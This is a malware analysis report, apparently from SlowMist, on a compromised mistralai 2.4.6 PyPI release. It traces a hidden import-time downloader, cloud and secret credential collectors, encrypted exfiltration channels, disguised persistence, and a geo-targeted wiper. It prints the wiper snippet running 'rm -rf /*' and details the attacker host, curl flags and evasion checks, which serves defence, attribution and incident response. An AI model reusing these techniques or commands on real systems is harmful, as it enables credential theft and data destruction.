Threat Intelligence | Analysis of the Supply Chain Poisoning Attack on the Official Mistral AI SDK
Background
Recently, during continuous threat hunting across the PyPI ecosystem, the MistEye security monitoring system captured a malicious version of the official Mistral AI Python SDK: mistralai-2.4.6. After in-depth analysis, the sample was confirmed not to be a fake package published by attackers impersonating the project — users installing it from PyPI were indeed receiving a version published under the official mistralai project, except that the source code had already been implanted with a backdoor. Combined with the trusted release form of the poisoned package, its correlation characteristics with Shai-Hulud, and publicly available attribution information, it is highly likely that the attackers compromised the project’s release pipeline and injected malicious code into the official release.
This sample is directly related to the previously disclosed Shai-Hulud supply chain poisoning attack by the SlowMist security team (see “Shai-Hulud Malware In-Depth Analysis: Open Source Means Loss of Control?”). Both malicious frameworks use the exact same 4096-bit RSA public key to encrypt stolen data, which serves as strong attribution evidence linking them to the same threat actor.
Simply put, the attackers compromised the release pipeline of the legitimate SDK, inserted fewer than 30 lines of malicious code into the import entry point, and then published the package as usual. As long as users followed the official documentation and wrote from mistralai.client import Mistral, the malicious code would silently execute in the background: first downloading a remote-control payload disguised as a machine learning tool (transformers.pyz) from the attacker’s server, then systematically collecting hundreds of categories of sensitive information from the victim host, including cloud credentials, SSH keys, CI/CD tokens, password manager data, and more, encrypting the data and transmitting it back to the attacker. More dangerously, if the victim host was located in Israel or Iran, the remote-control program had a 1/6 probability of executing rm -rf /*, directly destroying the entire system.
Affected environments include Linux development machines, CI/CD pipelines, containerized environments, backend servers, and AI/ML training clusters.
The MistEye security team conducted a complete line-by-line analysis of all source code in the malicious package (79+ files in stage one, 14 files in stage two), and correlated it against Shai-Hulud samples. The detailed findings are as follows.
MistEye Response
MistEye is a Web3 threat intelligence and dynamic security monitoring system independently developed by SlowMist. It integrates security monitoring and intelligence aggregation capabilities to provide users with real-time risk alerts and asset protection.
After capturing the malicious version involved in this Mistral AI SDK compromise, the MistEye system triggered a high-severity alert and fully reconstructed the entire attack chain. Through line-by-line analysis of both the malicious package source code and the subsequent remote-control payload, we identified the hidden downloader embedded in the main entry point, extracted key intelligence such as the attacker server IP address and file paths, and further analyzed the full capabilities of the remote-control payload, including credential theft, destruction, and persistence mechanisms. Relevant intelligence has already been pushed to customers as a high-risk alert.
Overview of the Attack Chain
Before diving into the code analysis, here is a high-level overview of the four stages of the attack chain:
- Malicious Entry Injection → The attacker inserted malicious code into the legitimate SDK’s
importentry point and published it normally. The payload is triggered immediately when users import the module. - Remote Payload Download → The malicious code silently downloads a program disguised as a machine learning tool (
transformers.pyz) in the background. - Data Collection → After execution, the remote-control payload systematically scans and collects hundreds of categories of sensitive data from the victim machine, including cloud credentials, SSH keys, CI/CD tokens, password manager data, and more, then encrypts and transmits the data back to the attacker server.
- Regional Destruction → If the victim machine is located in Israel or Iran, the payload has a 1/6 probability of executing
rm -rf /to destroy the system. Otherwise, it deploys persistence mechanisms and remains dormant long-term.
The following sections break down the technical details of each stage.
Step 1: Malicious Entry Point — Triggered on Import
The only critical file modified by the attacker was src/mistralai/client/__init__.py. This file serves as the SDK’s primary entry point — the first line in every example in the official README is from mistralai.client import Mistral, meaning any developer using the SDK according to the documentation would immediately trigger the malicious logic.
The attacker inserted a function named _run_background_task() at the end of the file and invoked it directly during module loading. The complete code is shown below:
Although the code is fewer than 30 lines long, every line serves a clear purpose. Below is a line-by-line breakdown:
Line 6 — Restricting Execution to Linux and Preventing Repeated Triggers
The function first checks two conditions: whether the current system is Linux (sys.platform.startswith("linux")) and whether the environment variable MISTRAL_INIT already exists. Only processes running on Linux without this marker proceed further. This means Windows and macOS users are completely unaffected — the attackers specifically targeted high-value Linux servers and CI/CD environments. After passing the checks, line 9 immediately sets MISTRAL_INIT=1, and this marker is also passed to child processes on line 23 to prevent repeated downloads.
Lines 10–11 — Hardcoded Attacker Infrastructure
Two key pieces of information are directly hardcoded into the code: the download URL https://83.142.209.194/transformers.pyz and the local path /tmp/transformers.pyz. The attackers used a raw IP address instead of a domain name to evade domain reputation checks and security scanning. The filename transformers.pyz was also carefully chosen — HuggingFace’s transformers is one of the most widely used libraries in machine learning, so a file with that name appearing in an AI development environment would not raise suspicion.
Line 15 — Silent Download
The download command uses curl -k -L -s, where each flag serves a specific purpose: -k skips SSL certificate validation, allowing self-signed or expired certificates; -L follows HTTP redirects; and -s enables silent mode so that no progress information is displayed. The timeout=15 at the end sets a 15-second timeout, ensuring that even if network issues occur, the user’s import statement will not hang for too long and attract attention.
Lines 18–24 — Launching the Remote Payload in the Background
After downloading, the program launches the remote payload using subprocess.Popen. Two key stealth measures are implemented: lines 20–21 redirect both standard output and standard error to DEVNULL (a black hole), meaning nothing appears on the screen during execution; line 22 sets start_new_session=True, allowing the payload to detach from the current process group and run independently — even if the user closes the terminal or disconnects SSH, the malware continues running in the background.
Lines 25–26 — Suppressing All Exceptions
The try/except: pass block is the most aggressive stealth mechanism — regardless of what error occurs (missing curl, network failure, download failure, incompatible Python version), the user will never see an error message. The SDK appears completely normal, while the malicious code either executed successfully or failed silently — the user will never know.
Step 2: Dual-Purpose Remote Payload — Hidden Malice Behind Legitimate Appearance
The transformers.pyz downloaded in stage one is a standalone Python package. After extraction, it contains 14 source files structured as follows:
After launch, the program first performs a series of “health checks,” then proceeds down one of two paths:
- Most cases: Follow the normal workflow — collect data → encrypt and package → transmit back to the attacker server → deploy persistence services for long-term stealth.
- Rare cases: If the victim machine is located in Israel or Iran, there is a 1/6 probability of triggering
rm -rf /to destroy the system while simultaneously playing an audio file at maximum volume.
The following three sections detail the startup self-protection mechanisms, the data collection and encrypted exfiltration process, and finally the geo-fenced destructive logic.
Step 3: Pre-Execution Self-Protection — Environment Checks, Anti-Sandboxing, and Dependency Installation
After startup (__main__.py), the remote payload performs the following checks. Failure of any check causes immediate termination:
- Not running on Linux? Exit.
- System language is Russian (
LANGstarts withru)? Exit. - CPU core count ≤ 2? Exit. This is a classic anti-sandbox technique — most automated analysis sandboxes allocate only 1–2 CPU cores.
- Missing the
cryptographylibrary? Automatically executepip install cryptography --break-system-packagesand silently install it.
The Russian-language avoidance in condition 2 and CPU core detection in condition 3 both indicate that the attackers intentionally attempted to evade specific regional security researchers and automated analysis systems.
The complete code is shown below:
Step 4: Data Theft — Seven Collectors Covering Hundreds of Sensitive Data Types
After passing the environment checks, aggregate.py concurrently launches all seven collection modules under the collectors/ directory to systematically harvest sensitive data from the victim host. The behavior of each collector is as follows:
AWS Collector (collectors/aws.py)
The collector first reads access keys from environment variables and the ~/.aws/credentials file, then attempts to obtain temporary credentials from the EC2 instance metadata service (169.254.169.254). After obtaining credentials, it concurrently traverses 19 AWS regions (including GovCloud) using 15 threads, invoking AWS Secrets Manager GetSecretValue and SSM Parameter Store GetParameter (with decryption enabled) to retrieve every accessible secret and parameter.
Azure Collector (collectors/azure.py)
Supports four methods for obtaining Azure credentials: Client Secret from environment variables, Service Principal certificate authentication (JWT bearer assertion), Azure CLI local cache, and cloud instance Managed Identity. After obtaining credentials, it enumerates all Key Vaults across subscriptions via the Azure Resource Manager API and extracts every secret value from each vault.
GCP Collector (collectors/gcp.py)
Supports multiple credential sources including Service Account JSON JWT signing authentication, refresh token exchange, Application Default Credentials files, and GCE instance metadata endpoints. After obtaining credentials, it enumerates and automatically decrypts all secrets stored in GCP Secret Manager.
Kubernetes Collector (collectors/kubernetes.py)
This collector is highly comprehensive: it includes a handwritten YAML parser capable of directly parsing multi-cluster kubeconfig files, supports in-cluster RBAC token authentication, and can directly invoke the Kubernetes HTTP API. If kubectl is not installed on the system, it downloads a copy from https://dl.k8s.io/release/v1.28.0/bin/linux/{arch}/kubectl. After obtaining access, it traverses all secrets across all namespaces.
Filesystem Collector (collectors/filesystem.py)
This is the broadest collector module, containing approximately 100 sensitive file paths, including: Git credentials (.gitconfig, .git-credentials), Docker configuration (~/.docker/config.json), package manager registry tokens (npm, PyPI, Cargo, Composer), cloud credential files (AWS, GCP, Azure CLI), SSH private key directories (all files under ~/.ssh/), Terraform and Pulumi state files (often containing plaintext secrets), CI/CD platform configurations (CircleCI, Heroku, Netlify, Vercel, Cloudflare, Railway, and more), VPN configurations (Tailscale, WireGuard), shell history files (.bash_history, .zsh_history), and MCP configuration files for AI coding tools such as Claude Desktop, VSCode, and Cursor. Additionally, the module communicates directly with the Docker socket to collect environment variables from all running containers.
Password Manager Collector (collectors/passwords.py)
If any of the following password managers are installed — 1Password, Bitwarden, pass, or gopass — the collector uses their CLI tools (op, bw, pass, gopass) to directly retrieve all stored password entries. The prerequisite is that the password manager is already unlocked, which is not uncommon in normal developer workflows.
HashiCorp Vault Collector (collectors/vault.py)
Attempts to obtain Vault tokens from four sources: the VAULT_TOKEN environment variable, the ~/.vault-token file, AppRole authentication, and existing authenticated vault CLI sessions. After obtaining a token, it recursively traverses all secret paths under all KV engines (both v1 and v2 supported).
Step 5: Encryption Against Interception — Three Exfiltration Paths Ensure Delivery
Stealing data is only the first step — reliably delivering it back to the attacker is equally important. The approach in entrypoint.py first encrypts the data in a way that prevents third parties from decrypting it, then ensures successful transmission through multiple fallback paths, so that even if one route is blocked, alternatives remain available.
Encryption Workflow
Collected Data (JSON)
→ gzip compression
→ randomly generated AES-256 key + 12-byte random IV
→ AES-256-GCM encryption of compressed data
→ wrapping the AES key using the attacker’s 4096-bit RSA public key (OAEP-SHA256)
→ packaged and transmitted
This encryption workflow is one-way: the attacker hardcoded the RSA public key into config.py, while only the attacker possesses the corresponding private key. Even if security researchers intercept the exfiltrated data package, without the RSA private key they cannot decrypt the AES key, nor the underlying contents.
Three Exfiltration Channels
entrypoint.py uses a layered fault-tolerant strategy when transmitting data:
- Primary Channel (
/v1/weights)
Directly POST the encrypted package to the attacker server athttps://83.142.209.194/v1/weights. But what if this address becomes blocked? - Fallback Channel (FIRESCALE Protocol)
The malware searches public GitHub commit histories for commit messages containing the special formatFIRESCALE <base64_url>.<base64_signature>. If such a message is found, the malware verifies the signature using a hardcoded RSA public key — a valid signature confirms the message was genuinely left by the attacker. It then decodes the embedded backup server address and retries transmission there. This means the attacker can dynamically change exfiltration endpoints simply by publishing a signed GitHub commit, without modifying the malware itself. - GitHub Emergency Channel
If both previous layers fail, the malware searches the already stolen data for GitHub tokens (ghp_orgithub_pat_format) previously extracted by the filesystem collector from locations such as~/.config/gh/hosts.ymlandgh auth token. Using such a token, it creates a public GitHub repository and uploads the encrypted data as a file namedresults.json. Interestingly, repository names are randomly generated using combinations of 30 words from Russian fairy tales and folklore, such asBABA-YAGA-KOSCHEI-742orVASSILISA-FIREBIRD-309. This naming convention serves not only as the attacker’s “signature style,” but also provides researchers with attribution clues.
Additionally, during startup, the malware first accesses https://83.142.209.194/v1/models. If the attacker returns content from this endpoint, the malware directly executes it as new malicious code — meaning the attacker retains the ability to issue arbitrary new commands to already infected hosts at any time.
Step 6: Geo-Fencing and Wiper Logic — Certain Regions Face More Than Data Theft
The most destructive module within the remote payload is roulette.py. It simultaneously handles two opposite objectives: deploying long-term persistence for the vast majority of victims, while directly destroying systems belonging to victims in specific regions.
How the Malware Determines Victim Region
The _is_israeli_system() function performs cross-validation across five dimensions:
- Whether the
TZenvironment variable containsJerusalem,Tel_Aviv, orTehran - Contents of the
/etc/timezonefile - Binary contents of
/etc/localtime - Whether
LANG,LC_ALL, orLC_MESSAGESbegin withhe_IL(Hebrew) orfa_IR(Persian) - Return values from Python’s
locale.getdefaultlocale()interface
These five dimensions cover environment variables, system files, and locale APIs. A match in any single dimension is enough to classify the system as belonging to a target region.
The 1-in-6 Death Roulette
roll = random.randint(1, 6)
if _is_israeli_system() and roll == 2:
play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])
returnThe source code logic is straightforward: if the system is identified as Israeli or Iranian, the malware rolls a virtual six-sided die. Only if the result equals 2 does the destructive behavior trigger — a 1/6 probability. When triggered, the malware first downloads an audio file named RunForCover.mp3 from the attacker server, uses pactl to set system volume to 100% and unmute audio, then begins playback via mpv. Simultaneously, it executes rm -rf /*. This combination of maximum-volume audio playback alongside full system destruction is extremely rare in real-world operations.
Why use a 1/6 probability instead of triggering every time? A reasonable hypothesis is that the attacker wanted to reduce the likelihood of destructive behavior triggering within sandboxes or automated analysis environments (which usually execute samples only once), while still ensuring eventual activation across real victim environments after repeated infections.
Long-Term Persistence Outside Target Regions
If the victim is not located in Israel or Iran (the vast majority of cases), the malware instead executes deploy_local() to install persistence mechanisms:
- With root privileges:
Write/usr/bin/pgmonitor.pyand register the systemd service/etc/systemd/system/pgsql-monitor.service - Without root privileges:
Write~/.local/bin/pgmonitor.pyand register the user-level systemd service~/.config/systemd/user/pgsql-monitor.service
The systemd service is configured with Restart=always, ensuring that the malware automatically restarts after system reboot. The filenames pgmonitor.py and pgsql-monitor.service are intentionally designed to resemble legitimate PostgreSQL monitoring components, making them easy to overlook in operational environments.
Overview of the Disguise Strategy
Reviewing the entire attack chain, the attackers implemented carefully crafted disguises across three different layers:
Correlated Samples: The Same RSA Public Key Reveals the Threat Actor
During static analysis of transformers.pyz, we observed that config.py hardcoded a 4096-bit RSA public key. Subsequent sample correlation revealed that this exact public key had appeared before — the Shai-Hulud supply chain poisoning framework previously disclosed by the SlowMist security team (see “Shai-Hulud Malware In-Depth Analysis: Open Source Means Loss of Control?”) used the identical RSA public key.
Shai-Hulud is a TypeScript-based supply chain attack framework (package name voicefromtheouterworld). Beyond sharing the same RSA public key — the strongest technical correlation indicator — both samples exhibit highly similar engineering approaches in collector module organization, encryption workflows, and concurrent task orchestration:
Furthermore, both frameworks use the same encryption workflow: collection results → gzip compression → AES-256-GCM encryption with a random key → OAEP wrapping of the symmetric key using the same RSA public key → transmission. Among these, the identical RSA public key is the strongest attribution evidence.
More importantly, Shai-Hulud includes an additional active propagation capability beyond credential theft, which transformers.pyz lacks:
- NPM Publishing Module (
mutator/npm/publish.ts)
Uses stolen NPM tokens to publish malicious packages - OIDC Abuse Module (
mutator/npmoidc/)
Uses GitHub Actions OIDC credentials to impersonate CI identities and publish packages - Repository Injection Module (
mutator/branch/)
Creates GitHub branches or pull requests to inject malicious code into legitimate projects - GitHub Actions Secret Theft (
providers/actions/)
Specifically targets encrypted secrets within CI/CD pipelines
Why Is the Shared Public Key So Important?
The malware uses asymmetric cryptography based on the “public-key encryption, private-key decryption” model. The public key encrypts data, while the private key decrypts it. By hardcoding the same public key into two separate malicious frameworks, the attackers ensured that all data stolen by both frameworks could only be decrypted using the same private key. That private key could only be possessed by the same threat actor. Therefore, the shared public key is not coincidence — it is a technical fingerprint proving that the same group operates both frameworks.
From the perspective of the broader attack ecosystem, Shai-Hulud and transformers.pyz are likely two complementary “weapons” used by the same threat actor, each serving a different purpose:
mistralai-2.4.6 was very likely a poisoned release pushed through the project’s trusted publishing pipeline after attackers compromised the Mistral AI project’s GitHub Actions CI/CD pipeline using the Shai-Hulud framework, then abused stolen OIDC credentials to publish the malicious version. This also explains why the package successfully passed PyPI’s normal release validation — because it used the project’s legitimate trusted publishing credentials.
Conclusion
The captured mistralai-2.4.6 incident is not isolated — it represents one branch of a carefully orchestrated cross-ecosystem supply chain poisoning campaign spanning both PyPI and NPM, conducted by the same threat actor. Its core characteristics can be summarized as four forms of “sophistication” and one “extreme” behavior:
Sophisticated Entry Design
The attackers did not include trojan binaries inside the package, nor manipulate dependencies. Instead, they inserted fewer than 30 lines of code into the import entry point. Those 30 lines performed neither credential theft nor destruction directly — their sole purpose was to download another program, making static analysis extremely unlikely to classify them as malicious.
Sophisticated Disguise Strategy
The remote payload filename imitated HuggingFace’s transformers, while the persistence service imitated PostgreSQL monitoring components — both naming choices targeted terms most familiar and least suspicious to AI/ML developers. Meanwhile, the package itself was a legitimate SDK compromised through official release infrastructure, leveraging user trust in official packages to bypass security scrutiny.
Sophisticated Exfiltration Engineering
The data was compressed using gzip, encrypted with randomly generated AES-256 keys, and wrapped using RSA-4096 public-key encryption. Even if intercepted during transmission, the payload could not be decrypted. The exfiltration system also implemented three layers of fault tolerance: primary C2 → dynamically discovered backup C2 via signed GitHub commits → uploading data using the victim’s own GitHub token. Every stage had a fallback mechanism.
Sophisticated Dual-Track Operations
The two malicious frameworks — Shai-Hulud (TypeScript) and transformers.pyz (Python) — used the same 4096-bit RSA public key, which serves as the core technical evidence linking them. Only the holder of the same private key could decrypt data stolen by both frameworks. The two frameworks also demonstrated highly similar engineering approaches in collection modules, encryption workflows, and Russian-environment avoidance logic, while focusing on different operational goals: Shai-Hulud emphasized credential theft and NPM propagation, while transformers.pyz emphasized credential theft and regional destruction, together covering multiple attack scenarios and package ecosystems. Combined with Shai-Hulud’s known CI/CD credential abuse capabilities and the official publishing characteristics of this incident, mistralai-2.4.6 was very likely a direct product of this dual-track attack framework.
Extreme Regional Destruction
This is the most unusual aspect of the case. Supply chain poisoning campaigns are typically focused on credential theft or ransomware, yet this attack additionally included a rm -rf /* wiper triggered with 1/6 probability, specifically targeting systems associated with Israel and Iran, while simultaneously avoiding Russian-language environments. This combination of “credential theft + destruction + regional targeting” is extremely rare among currently known supply chain attack cases.
Recommendations
- If
mistralai==2.4.6was ever installed in a Linux environment, immediately disconnect the host from the network and handle it as a fully compromised system. - Rotate all credentials accessible from the host: API keys, cloud access keys (AWS/Azure/GCP), CI/CD tokens, SSH private keys, password manager master passwords, and database credentials.
- Check whether the following files exist on the host:
/tmp/transformers.pyz/usr/bin/pgmonitor.pyor~/.local/bin/pgmonitor.pyRunForCover.mp3
If present, immediately preserve forensic evidence and isolate the host. - Execute
systemctl status pgsql-monitor.serviceandsystemctl --user status pgsql-monitor.serviceto check if any malicious persistence services are running. - Block all outbound connections to
83[.]142[.]209[.]194at the firewall level. Retrospectively search related IOCs in logs and SIEM systems. - Fully rebuild affected containers or virtual machines. Do not continue using systems after simply deleting malicious files.
- Investigate whether internal PyPI mirrors or artifact repositories cached the malicious version to prevent lateral contamination.
IP
83[.]142[.]209[.]194
URLs
https[:]//83[.]142[.]209[.]194/transformers.pyz
https[:]//83[.]142[.]209[.]194/v1/models
https[:]//83[.]142[.]209[.]194/v1/weights
https[:]//83[.]142[.]209[.]194/audio.mp3
Malicious Dependency
mistralai==2.4.6
Malicious Files
filename: mistralai-2.4.6--6dbaa43bf2f3.tgz
MD5: 94dbce1e6dd19886a253a1c5fc0abbb0
SHA1: d4583b83b8213add7558ba568b287e65d5a06d47
SHA256: 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b
filename: transformers.pyz
SHA256: 5245eb032e336b85cff0dbb3450d591826bf2ef214fd30d7eba1a763664e151b
This article was jointly written by the SlowMist Threat Intelligence Team with support from the MistEye Threat Intelligence System and SlowMist Agent AI-driven analysis. Feedback and inquiries are welcome.
About SlowMist
SlowMist is a threat intelligence firm focused on blockchain security, established in January 2018. The firm was started by a team with over ten years of network security experience to become a global force. Our goal is to make the blockchain ecosystem as secure as possible for everyone. We are now a renowned international blockchain security firm that has worked on various well-known projects such as HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, etc.
SlowMist offers a variety of services that include but are not limited to security audits, threat information, defense deployment, security consultants, and other security-related services. We also offer AML (Anti-money laundering) software, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and other SaaS products. We have partnerships with domestic and international firms such as Akamai, BitDefender, RC², TianJi Partners, IPIP, etc. Our extensive work in cryptocurrency crime investigations has been cited by international organizations and government bodies, including the United Nations Security Council and the United Nations Office on Drugs and Crime.
By delivering a comprehensive security solution customized to individual projects, we can identify risks and prevent them from occurring. Our team was able to find and publish several high-risk blockchain security flaws. By doing so, we could spread awareness and raise the security standards in the blockchain ecosystem.
